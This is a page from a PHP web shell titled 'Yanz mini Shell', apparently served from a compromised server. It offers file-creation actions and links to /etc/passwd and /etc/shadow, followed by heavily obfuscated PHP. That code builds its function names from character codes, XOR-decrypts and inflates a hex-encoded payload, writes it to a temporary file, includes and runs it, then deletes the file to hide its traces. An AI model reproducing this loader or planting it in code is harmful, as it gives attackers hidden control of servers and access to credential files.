Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php $fn_hex = function($a) { return implode('', array_map('chr', $a)); };
$_507a0102 = $fn_hex(array (
  0 => 99,
  1 => 114,
  2 => 99,
  3 => 51,
  4 => 50
));
$_75b9bef3 = $fn_hex(array (
  0 => 117,
  1 => 110,
  2 => 108,
  3 => 105,
  4 => 110,
  5 => 107
));
$_90efb89d = $fn_hex(array (
  0 => 105,
  1 => 115,
  2 => 95,
  3 => 119,
  4 => 114,
  5 => 105,
  6 => 116,
  7 => 97,
  8 => 98,
  9 => 108,
  10 => 101
));
$_181afdbe = $fn_hex(array (
  0 => 102,
  1 => 105,
  2 => 108,
  3 => 101,
  4 => 95,
  5 => 112,
  6 => 117,
  7 => 116,
  8 => 95,
  9 => 99,
  10 => 111,
  11 => 110,
  12 => 116,
  13 => 101,
  14 => 110,
  15 => 116,
  16 => 115
));
$_c6d5d458 = $fn_hex(array (
  0 => 115,
  1 => 121,
  2 => 115,
  3 => 95,
  4 => 103,
  5 => 101,
  6 => 116,
  7 => 95,
  8 => 116,
  9 => 101,
  10 => 109,
  11 => 112,
  12 => 95,
  13 => 100,
  14 => 105,
  15 => 114
));
$_72657b8a = $fn_hex(array (
  0 => 104,
  1 => 101,
  2 => 120,
  3 => 50,
  4 => 98,
  5 => 105,
  6 => 110
));
$_98d5c69f = $fn_hex(array (
  0 => 115,
  1 => 116,
  2 => 114,
  3 => 108,
  4 => 101,
  5 => 110
));
$_93acc6b2 = $fn_hex(array (
  0 => 103,
  1 => 122,
  2 => 105,
  3 => 110,
  4 => 102,
  5 => 108,
  6 => 97,
  7 => 116,
  8 => 101
));
$_9f1c043f = $fn_hex(array (
  0 => 116,
  1 => 101,
  2 => 109,
  3 => 112,
  4 => 110,
  5 => 97,
  6 => 109
));
$_299597f2 = $fn_hex(array (
  0 => 105,
  1 => 109,
  2 => 112,
  3 => 108,
  4 => 111,
  5 => 100,
  6 => 101
));
$_cb107f42 = $fn_hex(array (
  0 => 115,
  1 => 116,
  2 => 114,
  3 => 112,
  4 => 111,
  5 => 115
));
$_002f6585 = $fn_hex(array (
  0 => 115,
  1 => 117,
  2 => 98,
  3 => 115,
  4 => 116,
  5 => 114
));

$hex_hex_p0 = 'f816fd1ce789e81d970eea1bff340c35f2c2220af2ff9f5fc0ff1db81b486da7184254f75841f9805f739050d4b02b0db7989193e4cc55714b44f6e9cdea01e2d6c31b0663b7d9b1ff7b70a5a9a161103c6cd74ea39dc0425cb547153d2288a3fec15fe243c58bf0943783f5de850ae676a2a8954823db3c97a42f4554b96de76de8bf321b73381ec6987abc06a7a0ff7775465e970f521811884ee4629a9cde2b6c46de322d47f31c106efe2fb036c65127f989dd5438f297b9ca5e1ba2a401a84835c6536ccf5f220a844389e9aa46263a994588eca3aeae10929085fc9f5b04c9b457b86f2b33c53dca33fe0665c62b3d8516bdf33c47bb32a241ebf560365c0fb77b2970dda012e115846626f4fdec3d00e33866aa9482aced3917ca81b3b81334091f879adfab45e96cc7b8a51adeb912fe4a149c86634e04f54da84636a56c6ecb5a1b7191e1184f73bf90ada5bf9b76ff355c291a4467ecf01f21d2cdf896ce56a7897d86cae21d78f0076764314033b8ec83f5ee3bf1d842097e32e8266c407b5ea5d8f4fd0437aeff273cb9d8ba727651a7ca5ab3152aa20971702c31c818be87d516f4d3538802f779dfc8ab58efc929487276f7a82e4a7eae84641b43f21df3073e04212f971eca9bdbd923ae52ad967b6e21139ed66d6a313d0dd418a0c9cbc4b5fad2c03737383ab90ec51d1969a08f7c8e028ce43f61dcceb5914b4f6824705ac5c8ffa69b60aeea5f31e7c3065702d6ef6dadedde48dd68ba3f89f6e10d62e2ef440747a669e4bd04f9fb608ebe6b792b3e9066ae454a37abbcc5634b0a0b6b16c696953e0838d8636f5e28b2a07e6bdacf5de9aac330ddb2fc165bbb216a16872abc65caa240842e115c62623d243b834df64375b8d30c842821bb2aac42a057740b4f6d4e0ab95d3d96a31eb58025d4e4a2de4a139550592dcc30692b88fc8a78091e2c58ac8cd2228489c421b22f90fa7668d053ac236898b09fc2753bc2450c175d04075cdd928c66dcbe225666569a8f38245bc13b9474bdc69c432151488c7ace84525b7dbfd8a2335dd220f99e2f23ffc297625b9a91f4034844de6cbfdece2379446d31e1b01a1be0f62d3dab1016fa6f82d75fdcdc8aca6f5bfe0b5987a8867a8a6a3a3bd5beb707dc79c2e524e9c15c5e120432cabb8a40bd3a269af03d2d9fc4256a45532c394ba7904bc56039dedc22a1c1ed500d59e6a34d9b3a8dd23744eaa19a74b3b04c00070a50dd3c1fc53af4aa2cd5020e613e53fb51516c03b72b167acd8c03e7ed5e53ac344788fe084f194fd872a8aa7c784004d5e64bb4d9bbd26d1e939f35ff220ac0ecf47895f429afdafa0624c3d33a9ad36d01a1d271cd972a46e3de4bd7c31b2750aeff363ca77ca1cefefa3fe7d16998d2eb6b79d591003dbbe04d88a00fcc7fae72f61a619523c22477ab621c370a4620fdd57a0475608d7e710ae33db7e55e2f6ab20ef31f18402beb6553d9a186448396f956dbb79034406e5a7013b07cd3c819899b6ea7d8a4b8e31f2056e0525b329c64a5489c74141c8973b573a2498156aeeb627fe1be2fdcc7665e8b32b2423f8025595fb4e8e50b252a96273cf3588fd6851a9edcacbed66d353be7417562845d4e167205c1fee38827054b769814fa68d26aecd0e7b812a7b73ae221c1ed4bc901add415286ac0f380c896b2215bdf';
 $hex_hex_p1 = 'e5dfe40f9898e61256f664caa6c195e8e76051293d9c71667a3d9925eb3a34b22fefba7762e11d0ec943a7420ae1b8d452ae088dec657882563e2aede7f72c6a1403abace4e17302d5736e92f185b86b543a075e5a7ae162297eecfff31e0e893277b31e6d7a84415c64961b7bb315f2db8bc381a4b5e245fa1323913c0ecdd742caad343ed5ab00bd5af35889e67981188c6ae3f0496f5e626f6d771f30b0892d0875c2c350eee375b89eddbf560fb4066e8ee547bb21864dc0f8370fc9da4aa4e977a488264c78bd90b6f8cc36b105ec5f5819a08e79afc1768e55faa3b672db6efe9c0363c0ea9a0f3772ee78378afcdafb5a219847873ea73a45d8872c77f15cfde149bef4c307fabba5fe7a6cb67c5d90ccb1922f73870a60d44723520447ff09d45d756f563c06b385912c30f614b9026f4bb2f4b260c0f425fff8c700302170489c6694330e88a404ddaeb370a3051428349a86bb5ad9728063dfb21889be74f12b024554ae72cdbbb49cce4e8c5d00c9f00d5287c8fbdec0d6fb0fce956484d53087e0689a5020b5e33e6d9135a39e6bdfa0bbbc5618c93e5ccf95a0f5de2508fd538f0cd523874c570846146dc7ede256c073b7b72b0f37da96419942722e7a05c77fa6b9a6607f9fa30efec6efd5b27b2cf398248dd9ef24793a002e0e6c94e776cf16ef318c9682ec25fa6f122dfe6a7f7bdecb3cf25a796a6d54375ec4daaff2cc88516d3781dd8e1781dedc7e0dad0769b2dbb5749e3ce14e13a349ea74cb26ed4e86ef6a319e5464ee1eefba34f47aac65e02d82764336a8b9ad5b43951ddd3af263d1b33e7f4d04bf5465f956540343e3e5929d9df37004322267bc0eeb180f12072d1a8e921ccd7f67492f0ae55099cdcdaaf9460c25039a6abe0eb2cf96876268b0f404bdc327137a715a8f4ee4773adef78aea00d260f02bc479812abfc71fd26be4d6b9487cc547401f0d12b3e9854764141c9ae22b8959725b36bc4832362d22b7f1ad547e238e57119452cae5d1152882b5bae33fa81cd733ddcae330c18e6eccf6bb0066d6164df64398b9e75715532587b2e3702afe9b3a5de4297286c2306978434838a5221360cc99ce2edd549fed96c45129e72870f8b92cdee0c1b485ea483aa0e6631d6b745b5ff3fa1d76f72d6f';
 $hex_hex = $_299597f2('', [$hex_hex_p0, $hex_hex_p1]);

$m_start = 'd6851a9edcacbed66d353be741756284';
 $m_end = 'c901add415286ac0f380c896b2215bdf';
 $pos_s = $_cb107f42($hex_hex, $m_start);
 $pos_e = $_cb107f42($hex_hex, $m_end);
 
  if ($pos_s !== false && $pos_e !== false) {
    $key_hex = $_002f6585($hex_hex, $pos_s + 32, 64);
        $hex_hex = $_002f6585($hex_hex, 0, $pos_s) . $_002f6585($hex_hex, $pos_e + 32);
 } else {
    exit('Error decoding sequence.');
 }

$raw_hex = $_72657b8a($hex_hex);
 $key_hex_bin = $_72657b8a($key_hex);
 $dec_hex = '';
 $len_hex = $_98d5c69f($raw_hex);
 $len_hexk = $_98d5c69f($key_hex_bin);
for ($i = 0; $i < $len_hex; $i++) {
    $dec_hex .= chr(ord($raw_hex[$i]) ^ ord($key_hex_bin[$i % $len_hexk]));
}

$code_hex = $_93acc6b2($dec_hex);

if (sprintf('%u', $_507a0102($code_hex)) === '3320103659') {
    $dir_hex = $_c6d5d458();
    if (!$_90efb89d($dir_hex)) { $dir_hex = __DIR__; }
    $file_hex = $_9f1c043f($dir_hex, '0e03bc');
    if ($file_hex) {
        $_181afdbe($file_hex, $code_hex);
        if (@filesize($file_hex) > 0) { include $file_hex; }
        $_75b9bef3($file_hex);
    }
}

unset($hex_hex, $key_hex, $raw_hex, $dec_hex, $code_hex, $file_hex, $dir_hex, $key_hex_bin, $fn_hex, $len_hex, $len_hexk, $m_start, $m_end, $pos_s, $pos_e, $_507a0102, $_75b9bef3, $_90efb89d, $_181afdbe, $_c6d5d458, $_72657b8a, $_98d5c69f, $_93acc6b2, $_9f1c043f, $_299597f2, $_cb107f42, $_002f6585);